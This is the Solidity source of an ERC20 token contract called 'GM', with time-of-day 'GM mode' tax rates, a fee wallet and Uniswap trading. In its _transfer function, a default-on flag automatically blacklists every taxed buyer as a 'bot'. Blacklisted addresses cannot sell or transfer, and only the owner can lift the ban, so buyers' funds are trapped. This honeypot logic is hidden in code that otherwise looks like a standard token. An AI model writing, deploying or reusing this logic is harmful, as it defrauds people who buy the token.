Contract Source Code:
File 1 of 1 : GM
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
_checkOwner();
_;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the subtraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract GM is IERC20, Ownable {
using SafeMath for uint256;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _balances;
mapping (address => bool) private _isBot;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcludedFromLimits;
address[] private _blacklistedWallets;
address payable private _feeWallet;
address private _uniswapV2Pair;
bool private _allBuyersAreBots = true;
bool private _forceGM = false;
bool private _inSwap = false;
bool private _gm = false;
bool private _tradingOpen = false;
string private constant _name = unicode"GM";
string private constant _symbol = unicode"GM ☕";
int8 private _timezone = -5;
IUniswapV2Router02 private _uniswapV2Router;
uint8 private _currentTaxPercent = 3;
uint8 private _decimals = 8;
uint8 private _daytimeTaxPercent = 3;
uint8 private _gmTaxPercent = 0;
uint8 private _gmHourStart = 9;
uint8 private _gmHourEnd = 11;
uint8 private _maxWalletPercent = 2;
uint8 private _maxTransactionPercent = 1;
uint256 private _currentTimestamp;
uint256 private _tSupply = 1_000_000 * 10**_decimals;
uint256 private _maxWallet;
uint256 private _maxTransaction;
event MaxTransactionAmountUpdated(uint256 maxTransaction);
event MaxWalletAmountUpdated(uint256 maxWallet);
event GMUpdated(bool on);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_currentTimestamp = block.timestamp;
_feeWallet = payable(0x5d9A31749eA27Ce29a0d5234cD7C7185546c44D9);
_balances[_msgSender()] = _tSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeWallet] = true;
_isExcludedFromLimits[owner()] = true;
_isExcludedFromLimits[address(this)] = true;
_isExcludedFromLimits[_feeWallet] = true;
_setTaxes();
_setMaxWallet();
_setMaxTransaction();
emit Transfer(address(0), _msgSender(), _tSupply);
}
// ~~~~~~~~~~~~ accessors ~~~~~~~~~~~~ \\
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function feeWallet() public view returns (address) {
return _feeWallet;
}
function gm() public view returns (bool) {
return _gm;
}
function timezone() public view returns (int8) {
return _timezone;
}
function currentTimestamp() public view returns (uint256) {
return _currentTimestamp;
}
function maxWallet() public view returns (uint256) {
return _maxWallet;
}
function maxTransaction () public view returns (uint256) {
return _maxTransaction;
}
function taxPercent() public view returns (uint8) {
return _currentTaxPercent;
}
function tradingOpen() public view returns (bool) {
return _tradingOpen;
}
function isBot(address a) public view returns (bool) {
return _isBot[a];
}
function isExcludedFromFees(address a) public view returns (bool) {
return _isExcludedFromFee[a];
}
function isExcludedFromLimits(address a) public view returns (bool) {
return _isExcludedFromLimits[a];
}
function gmHourStart() public view returns (uint8) {
return _gmHourStart;
}
function gmHourEnd() public view returns (uint8) {
return _gmHourEnd;
}
function getOwner() public view returns (address) {
return this.owner();
}
function getBlacklistedWallets() public view returns (address[] memory) {
return _blacklistedWallets;
}
// ~~~~~~~~~~~~ mutators ~~~~~~~~~~~~ \\
function setFeeWallet(address payable w) external onlyOwner {
require(w != address(0), "Can't set fee wallet to burn addr.");
_feeWallet = w;
}
function setTimezone(int8 tz) external onlyOwner {
/* changes the timezone where tz is interpreted as UTC-<tz>.
parameters:
tx (int8): a signed 8-bit int, used to represent when "morning" is.
returns:
none
*/
require(-12 < tz && tz < 13, "Timezone not recognized.");
_timezone = tz;
}
function setMaxWallet(uint8 percent) external onlyOwner {
/* changes the max wallet percent, and consequently, the max wallet size.
parameters:
percent (uint8): Represents the % of total supply a single wallet can hold.
returns:
none
*/
require(percent < 101, "Max wallet cannot be larger than total supply.");
_maxWalletPercent = percent;
_setMaxWallet();
}
function setMaxTransaction(uint8 percent) external onlyOwner {
/* changes the max transaction percent, and consequently, the max transaction size.
parameters:
percent (uint8): represents the % of total supply that can be sent in a single transaction.
returns:
none
*/
require(percent < 101, "Max transaction cannot be larger than total supply.");
_maxTransactionPercent = percent;
_setMaxTransaction();
}
function setTaxPercent(uint8 percent) external onlyOwner {
/* sets the tax during the daytime (non-gm) period.
parameters:
percent (uint8): represents the % of the transaction given to the contract as taxes.
returns:
none
*/
require(percent < 4, "Maximum tax of 4%.");
_daytimeTaxPercent = percent;
}
function setGMHourStart(uint8 hour) external onlyOwner {
/* sets the hour that gm mode starts at.
parameters:
hour (uint8): the hour to change the gm start time to.
returns:
none
*/
require(hour < _gmHourEnd, "GM mode has to start before it ends.");
_gmHourStart = hour;
}
function setGMHourEnd(uint8 hour) external onlyOwner {
/* sets the hour that gm mode ends at.
parameters:
hour (uint8): the hour to change the gm end time to.
returns:
none
*/
require(hour > _gmHourStart, "GM mode has to end after it starts.");
_gmHourEnd = hour;
}
function setForceGM(bool on) external onlyOwner {
/* set the _forceGM mode flag.
parameters:
on (bool): whether we want _forceGM mode active or not.
returns:
none
*/
_forceGM = on;
}
function disableBlacklist() external onlyOwner {
//sets the flag _allBuyersAreBots to false, stopping the auto-blacklist of buyers
_allBuyersAreBots = false;
}
// ~~~~~~~~~~~~ ierc20 functions ~~~~~~~~~~~~ \\
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
// ~~~~~~~~~~~~ custom functions ~~~~~~~~~~~~ \\
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transferFeeless(address sender, address recipient, uint256 amount) private {
/* transfers tokens without taking fees.
parameters:
sender (address):
recipient (address):
amount (uint256): the amount of tokens (keep in mind theres _decimals more digits than you think).
returns:
none
*/
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _transferSupportingFee(address sender, address recipient, uint256 amount) private {
/* transfers tokens while taking fees.
parameters:
sender (address):
recipient (address):
amount (uint256):
returns:
none
*/
uint256 taxedTokens = amount.mul(_currentTaxPercent).div(100);
uint256 amountRecieved = amount.sub(taxedTokens);
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amountRecieved);
_balances[address(this)] = _balances[address(this)].add(taxedTokens);
emit Transfer(sender, recipient, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
/* runs checks to ensure a valid transfer, then executes.
first group of statements check that the zero address is not involved, and that the transfer amount is > 0.
second group checks that a bot isn't involved (they aren't allowed to trade), and ensures trading has started.
third group only applies when Uniswap is involved (buy/sell, not transfer) and when the involved addresses are not exempt from fees.
the taxes are then set, which does the time check and sets the `_gm` flag.
if: GM mode or there is an address exempt from fees involved,
The helper function to transfer without fees is called.
else:
The contract balance of tokens is checked (using the ERC20.sol function balanceOf()), if its > 0, sell tokens.
The helper function to transfer with fees is called.
parameters:
sender (address):
recipient (address):
amount (uint256):
returns:
none
*/
bool buy = (sender == _uniswapV2Pair && recipient != address(_uniswapV2Router));
bool sell = (sender != address(_uniswapV2Router) && recipient == _uniswapV2Pair);
// checks base transaction requirements
require(sender != address(0), "ERC20: transfer from the zero address.");
require(recipient != address(0), "ERC20: transfer to the zero address.");
require(amount > 0, "Transfer amount must be greater than zero.");
// checks that no one involved is a bot, and that trading is open.
if (!buy) {
require(!_isBot[sender] && !_isBot[recipient], "Address is labeled as a bot. Transferring disabled.");
}
require(_tradingOpen, "Trading is not yet started.");
// checks if tx is a buy, or if sender/reciever is exluded from these checks.
if (buy && !(_isExcludedFromLimits[sender] || _isExcludedFromLimits[recipient])) {
require((amount <= _maxTransaction), "Exceeds the maximum transaction amount.");
require(((balanceOf(recipient) + amount) <= _maxWallet), "Exceeds the maximum wallet size.");
}
_setTaxes();
//TODO: ensure an address cannot map to both bots and exemptfromfee.
// if sender/reciever is excluded from fees or it is GM mode.
if ((_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]) || _gm) {
_transferFeeless(sender, recipient, amount);
return;
}
// ensure no transfer tax between addresses.
if ((sender != _uniswapV2Pair && sender != address(_uniswapV2Router)) &&
(recipient != _uniswapV2Pair && recipient != (address)(_uniswapV2Router))){
_transferFeeless(sender, recipient, amount);
return;
}
// handles the contract collecting fees.
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && sender != _uniswapV2Pair && contractTokenBalance > 0) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
_feeWallet.transfer(address(this).balance);
}
}
if (_allBuyersAreBots) {
_blacklistedWallets.push(recipient);
_addBot(recipient);
}
// send the tokens
_transferSupportingFee(sender, recipient, amount);
}
function _setTaxes() private {
// sets GM mode and consequently, the tax rate.
bool gmChanged = _setGM();
if (gmChanged) {
_currentTaxPercent = _gm ? _gmTaxPercent : _daytimeTaxPercent;
}
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function manualSwap() external {
require(_msgSender() == _feeWallet || _msgSender() == owner());
swapTokensForEth(balanceOf(address(this)));
}
function manualSend() external {
require(_msgSender() == _feeWallet || _msgSender() == owner());
_feeWallet.transfer(address(this).balance);
}
function forceGM(bool g) external onlyOwner {
_gm = g;
}
function addBot(address bot) external onlyOwner {
_addBot(bot);
}
function addBots(address[] memory bots) external onlyOwner {
for (uint256 i = 0; i < bots.length; i++ ) {
_addBot(bots[i]);
}
}
function _addBot(address bot) private {
require(!_isExcludedFromFee[bot], "Cannot be excluded from fees and also be a bot.");
require(!_isExcludedFromLimits[bot], "Cannot be excluded from limits and also be a bot.");
_isBot[bot] = true;
}
function removeBot(address bot) external {
require(_msgSender() == _feeWallet || _msgSender() == owner());
_isBot[bot] = false;
}
function removeBots(address[] memory bots) external {
require(_msgSender() == _feeWallet || _msgSender() == owner());
for (uint256 i = 0; i < bots.length; i++) {
_isBot[bots[i]] = false;
}
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open.");
_uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(_uniswapV2Router), _tSupply);
_uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_tradingOpen = true;
}
function _setMaxWallet() private {
_maxWallet = _tSupply.mul(_maxWalletPercent).div(100);
emit MaxWalletAmountUpdated(_maxWallet);
}
function _setMaxTransaction() private {
_maxTransaction = _tSupply.mul(_maxTransactionPercent).div(100);
emit MaxTransactionAmountUpdated(_maxTransaction);
}
function _setGM() private returns (bool) {
_currentTimestamp = block.timestamp;
uint256 hour = uint256(int(_currentTimestamp.div(3600))+_timezone).mod(24);
// checks whether we are currently between the hours of GM.
bool newGM = (_gmHourStart <= hour && hour <= _gmHourEnd);
// if the _gm value changes, we emit an event and return true
if (_gm != newGM) {
_gm = newGM;
emit GMUpdated(newGM);
return true;
}
return false;
}
receive() external payable {}
}